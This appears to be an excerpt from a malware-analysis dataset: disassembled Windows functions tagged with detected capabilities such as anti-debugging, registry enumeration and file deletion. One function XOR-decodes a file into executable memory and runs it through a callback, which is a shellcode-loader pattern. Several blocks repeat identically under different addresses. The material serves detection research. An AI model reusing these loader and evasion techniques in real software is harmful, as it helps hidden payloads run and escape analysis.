joyce8/EMBER2024-capa huggingface dataset:
Function at 0x64647b49
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebx, dword [edx + 0x10]
cmc
cmc
jmp 0x64647b27
xor eax, eax
jmp 0x646482f1
call 0x64647b49
mov ecx, dword [edx + 0xc]
add ebx, esi
lea esp, [esp + 8]
jmp 0x64647b85
pop edi
not bx
mov ebx, 0x2cac7b05
jmp 0x64648307
jmp 0x64647d1b
pushfd
jmp 0x6464825a
test ebx, ebx
pushfd
jmp 0x64647bdb
jb 0x645ccde4
jae 0x645ccdb8
mov dword [esp], edi
push dword [esp]
jmp 0x645ccde9
cmp dword [ebp + 0xc], 0
je 0x64647865
jne 0x645ccde4
mov edi, dword [ebx]
pushfd
jmp 0x64647bc1
cmp ecx, dword [eax + 0x50]
jae 0x64647865
jb 0x64647b6f
mov ecx, 0x20d1b620
xchg edx, eax
rcr dword [ebp - 0x33], 0x94
fld xword [si]
aas
push es
mov cl, 0xb0
lea esp, [esp + 2]
lea esp, [esp + 2]
jmp 0x64647b5f
lea esp, [esp + 4]
push ecx
jmp 0x64647c00
add ecx, esi
push ebx
add esp, 3
lea esp, [esp + 1]
jmp 0x64647bab
lea esp, [esp + 4]
je 0x645cce1b
call 0x64647ba1
cmc
sub esp, 0xe
push bp
jmp 0x64647c0d
add edi, esi
call dword [fcn.645d5f88]
mov dword [ebp - 8], eax
jmp 0x64647bea
lea esp, [esp + 0x10]
test eax, eax
pushal
lea esp, [esp + 0x20]
jmp 0x64647c1e
jne 0x6464784f
mov ax, word [esp]
mov ah, al
jmp 0x64647c49
jb 0x645ccdb8
pushal
lea esp, [esp + 0x20]
cmp ebx, dword [eax + 0x50]
jmp 0x64647b3d
mov ecx, dword [ebp - 4]
bswap eax
xchg ah, al
neg ax
cmp al, dl
jmp 0x64647c8e
lea esp, [esp + 4]
je 0x645ccdb8
sub esp, 0
cmp ebx, dword [eax + 0x54]
jmp 0x64647c36
mov eax, dword [0x645d5fa0]
call fcn.64647cae
dec ecx
into
pop esp
cmp edx, esi
adc al, 0xdf
push ecx
rcl byte [ebx - 0x36]
mov ecx, dword [ecx + 0xc]
sub esp, 0xb
lea esp, [esp + 3]
jmp 0x64647c78
jmp 0x64647c66
push ecx
jmp 0x64647d5d
pushal
call fcn.64647d47
lea esp, [esp + 4]
add edx, 0x14
pushal
jmp 0x646482bc
mov dword [esp + 0x1c], ebp
call 0x64648287
lea eax, [eax - 4]
mov dword [eax], edx
pop eax
jmp 0x646482e8
push eax
pushal
mov bx, si
cpuid
jmp 0x6464829d
lea esp, [esp + 0x20]
jmp 0x6464795c
mov esi, dword [esp]
bswap esi
lea esi, [eax + eax]
jmp 0x64648329
mov ebx, dword [esp]
lea esp, [esp + 4]
jmp 0x645ccdce
inc eax
pop esi
leave
ret 8
Function at 0x64647ba1
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebx, dword [edx + 0x10]
cmc
cmc
jmp 0x64647b27
xor eax, eax
jmp 0x646482f1
call 0x64647b49
mov ecx, dword [edx + 0xc]
add ebx, esi
lea esp, [esp + 8]
jmp 0x64647b85
pop edi
not bx
mov ebx, 0x2cac7b05
jmp 0x64648307
jmp 0x64647d1b
pushfd
jmp 0x6464825a
test ebx, ebx
pushfd
jmp 0x64647bdb
jb 0x645ccde4
jae 0x645ccdb8
mov dword [esp], edi
push dword [esp]
jmp 0x645ccde9
cmp dword [ebp + 0xc], 0
je 0x64647865
jne 0x645ccde4
mov edi, dword [ebx]
pushfd
jmp 0x64647bc1
cmp ecx, dword [eax + 0x50]
jae 0x64647865
jb 0x64647b6f
mov ecx, 0x20d1b620
xchg edx, eax
rcr dword [ebp - 0x33], 0x94
fld xword [si]
aas
push es
mov cl, 0xb0
lea esp, [esp + 2]
lea esp, [esp + 2]
jmp 0x64647b5f
lea esp, [esp + 4]
push ecx
jmp 0x64647c00
add ecx, esi
push ebx
add esp, 3
lea esp, [esp + 1]
jmp 0x64647bab
lea esp, [esp + 4]
je 0x645cce1b
call 0x64647ba1
cmc
sub esp, 0xe
push bp
jmp 0x64647c0d
add edi, esi
call dword [fcn.645d5f88]
mov dword [ebp - 8], eax
jmp 0x64647bea
lea esp, [esp + 0x10]
test eax, eax
pushal
lea esp, [esp + 0x20]
jmp 0x64647c1e
jne 0x6464784f
mov ax, word [esp]
mov ah, al
jmp 0x64647c49
jb 0x645ccdb8
pushal
lea esp, [esp + 0x20]
cmp ebx, dword [eax + 0x50]
jmp 0x64647b3d
mov ecx, dword [ebp - 4]
bswap eax
xchg ah, al
neg ax
cmp al, dl
jmp 0x64647c8e
lea esp, [esp + 4]
je 0x645ccdb8
sub esp, 0
cmp ebx, dword [eax + 0x54]
jmp 0x64647c36
mov eax, dword [0x645d5fa0]
call fcn.64647cae
dec ecx
into
pop esp
cmp edx, esi
adc al, 0xdf
push ecx
rcl byte [ebx - 0x36]
mov ecx, dword [ecx + 0xc]
sub esp, 0xb
lea esp, [esp + 3]
jmp 0x64647c78
jmp 0x64647c66
push ecx
jmp 0x64647d5d
pushal
call fcn.64647d47
lea esp, [esp + 4]
add edx, 0x14
pushal
jmp 0x646482bc
mov dword [esp + 0x1c], ebp
call 0x64648287
lea eax, [eax - 4]
mov dword [eax], edx
pop eax
jmp 0x646482e8
push eax
pushal
mov bx, si
cpuid
jmp 0x6464829d
lea esp, [esp + 0x20]
jmp 0x6464795c
mov esi, dword [esp]
bswap esi
lea esi, [eax + eax]
jmp 0x64648329
mov ebx, dword [esp]
lea esp, [esp + 4]
jmp 0x645ccdce
inc eax
pop esi
leave
ret 8
Function at 0x64647cac
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ebx, dword [edx + 0x10]
cmc
cmc
jmp 0x64647b27
xor eax, eax
jmp 0x646482f1
call 0x64647b49
mov ecx, dword [edx + 0xc]
add ebx, esi
lea esp, [esp + 8]
jmp 0x64647b85
pop edi
not bx
mov ebx, 0x2cac7b05
jmp 0x64648307
jmp 0x64647d1b
pushfd
jmp 0x6464825a
test ebx, ebx
pushfd
jmp 0x64647bdb
jb 0x645ccde4
jae 0x645ccdb8
mov dword [esp], edi
push dword [esp]
jmp 0x645ccde9
cmp dword [ebp + 0xc], 0
je 0x64647865
jne 0x645ccde4
mov edi, dword [ebx]
pushfd
jmp 0x64647bc1
cmp ecx, dword [eax + 0x50]
jae 0x64647865
jb 0x64647b6f
mov ecx, 0x20d1b620
xchg edx, eax
rcr dword [ebp - 0x33], 0x94
fld xword [si]
aas
push es
mov cl, 0xb0
lea esp, [esp + 2]
lea esp, [esp + 2]
jmp 0x64647b5f
lea esp, [esp + 4]
push ecx
jmp 0x64647c00
add ecx, esi
push ebx
add esp, 3
lea esp, [esp + 1]
jmp 0x64647bab
lea esp, [esp + 4]
je 0x645cce1b
call 0x64647ba1
cmc
sub esp, 0xe
push bp
jmp 0x64647c0d
add edi, esi
call dword [fcn.645d5f88]
mov dword [ebp - 8], eax
jmp 0x64647bea
lea esp, [esp + 0x10]
test eax, eax
pushal
lea esp, [esp + 0x20]
jmp 0x64647c1e
jne 0x6464784f
mov ax, word [esp]
mov ah, al
jmp 0x64647c49
jb 0x645ccdb8
pushal
lea esp, [esp + 0x20]
cmp ebx, dword [eax + 0x50]
jmp 0x64647b3d
mov ecx, dword [ebp - 4]
bswap eax
xchg ah, al
neg ax
cmp al, dl
jmp 0x64647c8e
lea esp, [esp + 4]
je 0x645ccdb8
sub esp, 0
cmp ebx, dword [eax + 0x54]
jmp 0x64647c36
mov eax, dword [0x645d5fa0]
call fcn.64647cae
dec ecx
into
pop esp
cmp edx, esi
adc al, 0xdf
push ecx
rcl byte [ebx - 0x36]
mov ecx, dword [ecx + 0xc]
sub esp, 0xb
lea esp, [esp + 3]
jmp 0x64647c78
jmp 0x64647c66
push ecx
jmp 0x64647d5d
pushal
call fcn.64647d47
lea esp, [esp + 4]
add edx, 0x14
pushal
jmp 0x646482bc
mov dword [esp + 0x1c], ebp
call 0x64648287
lea eax, [eax - 4]
mov dword [eax], edx
pop eax
jmp 0x646482e8
push eax
pushal
mov bx, si
cpuid
jmp 0x6464829d
lea esp, [esp + 0x20]
jmp 0x6464795c
mov esi, dword [esp]
bswap esi
lea esi, [eax + eax]
jmp 0x64648329
mov ebx, dword [esp]
lea esp, [esp + 4]
jmp 0x645ccdce
inc eax
pop esi
leave
ret 8

Function at 0x64647cae
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov eax, dword [eax + 0x10]
pushfd
jmp 0x64647d10
lea esp, [esp + 0x10]
push 0
call 0x64647cb4

Function at 0x64647ce6
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 3
mov dword [esp], ecx
lea esp, [esp + 1]
jmp 0x64647cf0
lea esp, [esp + 8]
push 0
push di
jmp 0x64647cb9
add ecx, esi
pushal
lea esp, [esp + 0x24]
push ecx
jmp 0x64647dba
lea esp, [esp + 1]
lea esp, [esp + 0x14]
test eax, eax
je 0x64647891
jne 0x6464784f
call eax
mov dword [ebp - 8], eax
pushal
add esp, 0xb
jmp 0x64647d31
Function at 0x64647ed4
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x64647f16
pushfd
pop ax
push word [esp]
jmp 0x64647f00
lea esp, [esp + 4]
lea eax, [ebp - 0x24]
jmp 0x64647f26
lea esp, [esp + 4]
mov byte [eax], cl
jl 0x646478d6
mov al, dh
jmp 0x64647ed6
push eax
call dword [fcn.645d5f88]
jmp 0x64647f67
mov dword [ecx], eax
pop ecx
jmp 0x6464787b
push ecx
mov ecx, ebp
lea ecx, [ecx - 8]
jmp 0x64647f51
Function at 0x402410
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ab97
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
push esi
mov dword [ebx], 0x435338
push edi
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.00401a00
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.004045e0
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x402497
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.004018c0
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.00404180
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x543b44]
mov dword [esi + 0x44], ecx
mov ecx, dword [ebp - 0xc]
pop edi
mov dword [esi + 0x4c], edx
pop esi
mov eax, ebx
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x403ad0
Capabilities:
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42a949
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
xor esi, esi
mov dword [esp + 8], esi
push edi
mov dword [esp + 0x10], ecx
cmp dword [ecx + 0x44], esi
je 0x403cb3
cmp byte [ecx + 0x49], 0
je 0x403cb3
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x403c8e
push esi
push 8
lea ecx, [esp + 0x50]
call fcn.00403540
mov dword [esp + 0x74], esi
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x4c]
call fcn.00403730
mov esi, eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x4c]
mov byte [esp + 0x78], 1
call fcn.00403730
mov edi, eax
mov ecx, esi
mov byte [esp + 0x74], 2
call fcn.004042c0
mov ebx, dword [esp + 0x5c]
mov ecx, edi
mov esi, eax
call fcn.004042c0
mov edx, dword [esp + 0x10]
mov ecx, dword [edx + 0x44]
mov edx, dword [ecx]
lea edi, [esp + 0x14]
push edi
mov edi, dword [esp + 0x14]
add ebx, esi
push ebx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea ecx, [esp + 0x18]
mov esi, eax
mov byte [esp + 0x74], 1
call fcn.004010b0
lea ecx, [esp + 0x24]
mov byte [esp + 0x74], 0
call fcn.004010b0
mov eax, esi
sub eax, 0
je 0x403bcf
dec eax
je 0x403bd3
sub eax, 2
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
jne 0x403c89
jmp 0x403cae
mov byte [edi + 0x49], 0
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x4c]
call fcn.00403730
mov ecx, eax
mov byte [esp + 0x74], 3
call fcn.004042c0
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x30]
sub esi, eax
mov byte [esp + 0x74], 0
call fcn.004010b0
test esi, esi
je 0x403c3c
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x4c]
call fcn.00403730
mov byte [esp + 0x74], 4
or dword [esp + 0xc], 1
mov ecx, eax
call fcn.004042c0
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040ae00
add esp, 0x10
cmp esi, eax
je 0x403c3c
mov bl, 1
jmp 0x403c3e
xor bl, bl
mov dword [esp + 0x74], 0
test byte [esp + 0xc], 1
je 0x403c5b
and dword [esp + 0xc], 0xfffffffe
lea ecx, [esp + 0x3c]
call fcn.004010b0
test bl, bl
jne 0x403c7d
cmp byte [edi + 0x49], bl
je 0x403ca2
test esi, esi
jne 0x403b30
push esi
push 8
lea ecx, [esp + 0x50]
call fcn.004035f0
jmp 0x403b30
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
call fcn.00401cb0
xor al, al
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x74], 0xffffffff
lea ecx, [esp + 0x48]
call fcn.00401cb0
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
mov al, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404180
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42a85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00406110
push 0x18
push str.D:VS2010VCinclude_streambuf
mov dword [ebp - 4], 0
call fcn.00405330
push eax
push 4
call fcn.00405260
mov edi, eax
add esp, 0x10
test edi, edi
je 0x404204
push ebx
call fcn.004058c0
mov dword [edi], eax
call fcn.004056d0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004060a0
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4041f9
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004060e0
pop ebx
jmp 0x404206
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x40c530
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x438458]
jne 0x40c53a
repz ret
jmp fcn.0041a2b0
Function at 0x42a060
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c4
call fcn.00418520
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
lea edx, [ebp - 0xf67c4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x42a0c0
xor byte [ebp + eax - 0xf67c4], 0xd7
inc eax
cmp eax, 0xf67c0
jne 0x42a0c0
push 0x40
push 0x3000
push eax
push 0
call dword [0x543b48]
mov esi, eax
push 0xf67c0
lea eax, [ebp - 0xf67c4]
push eax
push esi
call fcn.00406d50
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.IMM32.dll_ImmEnumInputContext]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x42a4a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push str.C:ProgramDatajfds.txt
lea ecx, [ebp - 0x20]
call fcn.00401be0
cmp dword [ebp - 8], 0x10
mov eax, dword [ebp - 0x1c]
jae 0x42a4c0
lea eax, [ebp - 0x1c]
push 0x435000
push eax
call fcn.0040a870
add esp, 8
test eax, eax
je 0x42a4df
push eax
call fcn.0040b810
add esp, 4
mov bl, 1
jmp 0x42a4e1
xor bl, bl
lea ecx, [ebp - 0x20]
call fcn.00401cb0
test bl, bl
je 0x42a50a
push str.C:ProgramDatacsdx.xml
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramData_as.dat
call fcn.0042a060
add esp, 4
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042a110
push str.C:ProgramDatacsdx.xml
call fcn.0042a060
add esp, 4
push str.C:ProgramData_as.dat
call fcn.0042a060
add esp, 4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078c0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x551d76
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
mov eax, dword [0x5b9ec0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x15c], ebx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x154]
call sym.Autorun.exe_public:_void___thiscall_CNcsRegKey::constructor_void_
cmp byte [ebx + 8], 0
mov dword [ebp - 4], 0
je 0x407a38
test edi, edi
je 0x407a38
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407922
sub ecx, edx
je 0x407a38
push edi
lea ecx, [ebp - 0x128]
call sym.Autorun.exe_public:_void___thiscall_CNcsString::constructor_char_const__
push 0
lea eax, [ebp - 0x128]
mov byte [ebp - 4], 1
push eax
push dword [ebx + 4]
lea ecx, [ebp - 0x154]
call sym.Autorun.exe_public:_bool___thiscall_CNcsRegKey::Open_struct_HKEY_____class_CNcsString_const___bool_
cmp dword [ebp - 0x114], 0x10
mov bl, al
mov byte [ebp - 4], 0
jb 0x407975
push dword [ebp - 0x128]
call fcn.0041a02a
add esp, 4
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
test bl, bl
je 0x407a38
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x164]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x158]
mov dword [ebp - 0x158], 0x100
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push dword [ebp - 0x150]
call esi
test eax, eax
jne 0x407a1a
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x154]
call sym.Autorun.exe_public:_bool___thiscall_CNcsRegKey::DeleteSubKey_char_const__
test al, al
je 0x407a38
lea eax, [ebp - 0x164]
mov dword [ebp - 0x158], 0x100
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push dword [ebp - 0x150]
call esi
test eax, eax
je 0x4079d1
lea ecx, [ebp - 0x154]
call sym.Autorun.exe_public:_void___thiscall_CNcsRegKey::Close_void_
mov ecx, dword [ebp - 0x15c]
push edi
call sym.Autorun.exe_private:_unsigned_long_int___thiscall_CNcsRegKey::RemoveSubKey_char_const__
test eax, eax
sete bl
jmp 0x407a3a
xor bl, bl
lea ecx, [ebp - 0x154]
mov dword [ebp - 4], 0xffffffff
call sym.Autorun.exe_public_virtual:_void___thiscall_CNcsRegKey::destructor_void_
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00534944
mov esp, ebp
pop ebp
ret 4

Function at 0x407a70
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp byte [esi + 8], 0
mov dword [esi + 0xc], 0
je 0x407a9b
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x407a8e
mov eax, dword [eax]
push eax
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov dword [esi + 0xc], eax
xor eax, eax
cmp dword [esi + 0xc], eax
pop esi
sete al
pop ebp
ret 4
Function at 0x407ab0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x551dab
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x5b9ec0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
xor al, al
mov dword [ebp - 0x130], 0x100
cmp byte [esi + 8], al
je 0x407ba0
mov ecx, dword [esi + 0x10]
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x138]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x114]
push eax
push ecx
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [esi + 0xc], eax
cmp eax, 0x103
jne 0x407b3b
mov dword [esi + 0x10], 0
xor al, al
jmp 0x407ba0
test eax, eax
sete bl
test bl, bl
je 0x407b9e
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x12c]
call sym.Autorun.exe_public:_void___thiscall_CNcsString::constructor_char_const__
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 4], 0
jb 0x407b67
mov edx, dword [edx]
cmp byte [edx], 0
jne 0x407b70
xor ecx, ecx
jmp 0x407b7e
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407b75
sub ecx, esi
push ecx
push edx
mov ecx, edi
call sym.Autorun.exe_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_
cmp dword [ebp - 0x118], 0x10
jb 0x407b9e
push dword [ebp - 0x12c]
call fcn.0041a02a
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00534944
mov esp, ebp
pop ebp
ret 4

Function at 0x407bc0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x5b9ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x208], 0x200
xor al, al
push edi
mov edi, dword [ebp + 8]
cmp byte [esi + 8], al
je 0x407c60
mov ecx, dword [esi + 0x10]
push 0
push 0
push 0
lea eax, [ecx + 1]
push 0
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push ecx
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [esi + 0xc], eax
cmp eax, 0x103
jne 0x407c25
mov dword [esi + 0x10], 0
test eax, eax
push ebx
sete bl
test bl, bl
je 0x407c5d
cmp byte [ebp - 0x204], 0
jne 0x407c3c
xor ecx, ecx
jmp 0x407c4e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c45
sub ecx, edx
push ecx
lea eax, [ebp - 0x204]
mov ecx, edi
push eax
call sym.Autorun.exe_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00534944
mov esp, ebp
pop ebp
ret 4